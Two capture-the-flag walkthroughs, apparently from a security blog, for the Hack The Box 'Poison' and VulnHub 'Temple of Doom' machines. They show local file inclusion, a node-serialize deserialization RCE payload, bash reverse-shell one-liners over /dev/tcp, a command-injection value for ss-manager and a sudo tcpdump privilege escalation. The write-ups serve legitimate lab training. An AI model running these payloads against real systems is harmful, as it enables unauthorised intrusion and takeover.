Hack The Box – Poison

Please note: This post was first released on September 08, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/09/hack-box-poison.html

This box retired on 8th of September 2018
Goal: CTF – user.txt & root.txt
Difficulty: 3.9/10 (rated by HTB-community)

As always when attacking a system we start by gathering information about the box. To do so we use Nmap to scan for open ports and find a web- and ssh- and some other service as shown in Figure 1.

1. Results of Nmap scan

Before we get in touch with the ssh service we open up a browser and go to the web service. Figure 2 shows that the website allows to load different pages, while a subset of the available pages (init.php, info.php etc.) are listed on the website itself.

2. Poison – Website
3. Listfiles.php

We open every site to look for interesting information. The last page that is being listed is “listfiles.php“, which shows all other previous mentioned sited plus an “pwdbackup.txt” file as shown in figure 3. When we inspect the URL of the website we see a key-value pair that is being passed as parameter to the web server. With the parameter “?file=” the web server knows which resource the user has requested. Which is why we edit the value of the parameter to “?file=pwdbackup.txt” as shown in figure 4. By doing so the web server loads a text file which seems to be some kind of base64 encoded password.

4. Pwdbackup.txt
5. Decoded password

Furthermore there is an information message that states that the password is encoded at least 13 times. We copy the encoded password to our local machine and by decoding it 13 times in a row we receive the password as shown in figure 5. Since the web service itself does not have any kind of login feature the password might belong to a user of the underlying system.  Now that we already obtained a password we need to know which user this password belongs to. For this we head back to the web service and try to get a list of all users that have access to the box. Since we already know an interface between the web service and locally stored files we might try to exploit it to display the local passwd file. To do so we use a local file inclusion on the “?file” parameter as shown in figure 6.

6. Local File Inclusion to display passwd

Looking closely at the contents of passwd we will find a user called charix. If we try to connect to the box via ssh with the user charix and the password that we obtained by decoding the base64 string we will get access to the box. Inside the “/home” directory of user charix we will find the user flag and a secret.zip file.

7. Contents of /home for user charix

We copy the “secret.zip” file with “scp” to our local machine and try to unzip it. By doing so we need to insert a password to get access to the zipped file. When we enter the same password which we already obtained for the user charix the file gets successfully unzipped and we see a secret file with non human readable content.

The next step is to obtain the root flag and to do so we need to do a privilege escalation. After some enumeration of the system and its running services we identify with the command “ps aux” that the user root is running an instance of xvnc. Furthermore, we can see that the host is listening on port 5901 for incoming vnc connections as shown in figure 8.

8. Listening ports on Poison

But we cannot simply connect to the xvnc because of two problems. The first problem is that the system itself does not have vncviewer installed and therefore we cannot connect locally on the vnc service. The second problem is that although we have vncviewer on our local attacker machine, port 5901 is not open for remote usage otherwise we would have detected it with our Nmap scan from figure 1. Because of this we have to use local port forwarding to connect to the listening vnc service. Normally local port forwarding via SSH lets you connect from your local machine to another server with the help of an ssh server. But it is also possible that the destination server can even be the same as the ssh server which is the case we are facing in this situation. Because of this we use the command as shown in figure 9 to forward the port 5901 from our local machine to port 5901 on the victim box.

9. Local port forwarding for port 5901

The next step is to use the port forwarding to connect to the listening vnc service from our attacking machine. To do so we can use vncviewer on our localhost on port 5901. But as figure 9 shows, we need to authenticate our self to access the vnc session. Unfortunately we don’t own any password that would grant us the access to the vnc session. But we already obtained a file called secret, which we can use with the parameter “-passwd” for authentication. By doing so we are granted access to the vnc session and the desktop of the user root.

10. Using the previously obtained secret file & port forwarding to access vnc

Once we used the command from figure 10 tightvnc opens up and we have access to a root session on the box. With this we have full access on the system and are able to access the second flag.

11. Access as root & flag

VulnHub – Temple of Doom v1

Please note: This post was first released on September 05, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/09/vulnhub-temple-of-doom-v1.html

Machine: Temple of Doom v1
Difficulty: Easy/Intermediate
Link: https://www.vulnhub.com/entry/temple-of-doom-1,243/
Goal: Getting root access

1. Nmap scan result

As always we start our enumeration phase with a Nmap scan. Since the box is hosted locally we can scan very thoroughly without investing too much time. Which is why we run Nmap as “nmap -sC -sV -p-”. Looking at the results in figure 1 we see a ssh service on port 22 and a http service on port 666.

2. Web page on Temple of Doom

Since it is always good to run some tests in the background while do further enumeration we start a python script for user enumeration on the ssh service. Furthermore we search for names of well-known characters from the DOOM universe and add them to our list of usernames. While the script for user enumeration runs we have a look at the website on port 666. As figure 2 shows there is not too much information on the web page itself which is why we start Burp Suite and intercept the request. As we can see in figure 3 the cookie stores some information as “profile”.

3. Intercepted http request

We take the value of the cookie and send it to the decoder inside Burp Suite and since the string ends with “%3D” we decode it as URL. The result is a new string that ends with “0=” which could indicate a base64 string. Because of this we decode the new string once more as base64 and we receive the following JSON as output:

{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:Friday, 13 Oct 2018 00:00:00 GMT”}

Meanwhile the script for user enumeration on the ssh service finished without any useful information. But since we discovered that the web service is using JSON and the Nmap scan revealed a Node.js Framework in figure 1, we search for “exploit node.js” on Google.

The first entry says “Exploiting Node.js deserialization bug for Remote Code Execution” which sounds pretty much like what we are looking for to hack the box. By studying the article, we see that it is possible to execute arbitrary code from remote when untrusted data is passed to the node-serialize module. Inside the article we find the following function to execute code when being deserialized.

_$$ND_FUNC$$_function (){\n \t require(‘child_process’).exec(‘COMMAND’, function(error, stdout, stderr) { console.log(stdout) });

Since the JSON object which is passed to our target has a value for “username” we try to exchange the current value with the code from the article. For this we use the repeater function inside Burp Suite, modify the JSON object as described, encoding it again as base64 and afterwards as URL and replacing the result with the string inside the cookie. By sending the newly crafted http request to the target we receive the following error as shown in figure 4.

4. Syntax error message in http response

By trying to fix the JSON object we reload the page and see that the website itself, when being refreshed, now shows us an error message as well as shown in figure 5.

5. Reloading website results in error

Since we receive an error message when reloading the page without the use of any modified http request the cause for the error has to exist inside the JSON before we modified it. Looking closely again at the original JSON object we notice that there is a double quote missing for the value of the “Expires” field.

{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:Friday, 13 Oct 2018 00:00:00 GMT”}

By placing a double quote and resending the request to the server the error message disappears and we receive a valid response.

6. Valid http response

The next step is to repair the previously crafted http request with the malicious JSON for command execution by inserting the missing double quote. By doing so and resending the http request to the server we receive a response with statuscode 200 as shown in figure 6. It seems like the command was being executed but the result is an object instead of an expected string, which is why we won’t get any viewable results other than [object Object]. To validate that we have a working remote code execution exploit we try to ping from the target back to our attacker machine. To do so we craft the following JSON and activate tcpdump for ICMP on our attacking machine:

{“username”:”_$$ND_FUNC$$_require(‘child_process’).exec(‘ping -c 2’, function(error, stdout, stderr) { console.log(stdout) })”, “csrftoken”: “u32t4o3tb3gg431fs34ggdgchjwnza0l=”, “Expires=”:”Friday, 13 Oct 2018 00:00:00 GMT”}

The next step is to encode the JSON with the ping command as base64 and afterwards as URL and sending it to the vulnerable system as shown in figure 7.

7. Sending encoded JSON with ping command

Immediately afterwards we receive two ICMP echo requests as shown in figure 8.

8. Listening for and receiving incoming ICMP requests

By receiving the two ICMP echo requests we validated the remote command execution. The next step is to place a reverse shell inside the JSON and passing it to the server. To do so we use a simple bash reverse shell which we can find on pentestmonkey.net.

{“username”:”_$$ND_FUNC$$_require(‘child_process’).exec(‘bash -i >& /dev/tcp/ 0>&1’, function(error, stdout, stderr) { console.log(stdout) })”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:”Friday, 13 Oct 2018 00:00:00 GMT”}

By encoding the JSON and sending it to the server we receive a valid response on port 1235 as user “nodeadmin”.

9. Reverse shell as user nodeadmin

The next step is to do some more enumeration on the system with the goal of getting any useful information for later privilege escalation. When we want to use the command “sudo -l” we receive the following message “sudo: no tty present and no askpass program specified” which is why we need to spawn a tty shell by using the following command.

python -c ‘import pty; pty.spawn(“/bin/sh”)’

While searching for running services on the system we find the following two odd looking entries as shown in figure 10.

10. Parts of output for command “ps aux”

Furthermore when investigating all listening connections on the host we see multiple listening ports for udp, one of them is port 3389.

11. Output of netstat

Because of this information we search on Google for “upd port 8839 ss-manager” and the first entry is “Command Execution in ss-manager” which is a closed issue on github for ss-manager.

Looking at the issue we find a piece of code for PoC. As described in the issue we start netcat in udp mode for localhost on port 8839 and insert the following command:

{“server_port”:8003, “password”:”test”, “method”:”||touch /tmp/evil||”}

Browsing the “/tmp” directory we see that a new file called “evil” has been created as shown in figure 12.

12. Using PoC Code from issue #1734 of ss-manager

Because the file called “evil” has been created we now know that the PoC code is working and that the ss-manager on the system is vulnerable. Since we know from figure 11 that the ss-manager is being executed by user “fireman” we can use the command execution to escalate our privileges and create a reverse shell as user fireman. To do so we edit the PoC code as shown below.

add: {“server_port”:8003, “password”:”test”, “method”:”||bash -i >& /dev/tcp/ 0>&1||”}

Using netcat to listen on port 9001 for incoming connections we receive a shell as user fireman.

13. Getting a reverse Shell as user “fireman”

With the newly gained privileges we start over with the enumeration of the system and look if we have anything new to work with, while our goal is to escalate to root privileges.
When running the “sudo -l” command we now have the commands “iptables”, “nmcli”, and “tcpdump” as “NOPASSWD” available.

Again, we use Google to search for any known privilege escalation techniques for any of these commands when being combined with sudo. When searching for “privilege escalation sudo tcpdump”  on Google the second entry is “How I got root with Sudo”.
Inside the article we find the following command for code execution with tcpdump

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /temp.test -Z root

Inside the article we can read that when running tcpdump with the “-z postrotate-command” option we can execute arbitrary code. Quotation from tcpdump.org/manpages:

Used in conjunction with the -C or -G options, this will make tcpdump run ” postrotate-command file ” where file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip2 will compress each savefile using gzip or bzip2.
Note that tcpdump will run the command in parallel to the capture, using the lowest priority so that this doesn’t disturb the capture process. And in case you would like to use a command that itself takes flags or different arguments, you can always write a shell script that will take the savefile name as the only argument, make the flags & arguments arrangements and execute the command that you want.

Furthermore with the option “-Z root” we specify that the command is being executed by the user root which works fine since we are able to use sudo for tcpdump. Using this technique as shown in figure 14 we can escalate our privileges and gain a root shell on the box.

14. Getting a reverse shell with root privileges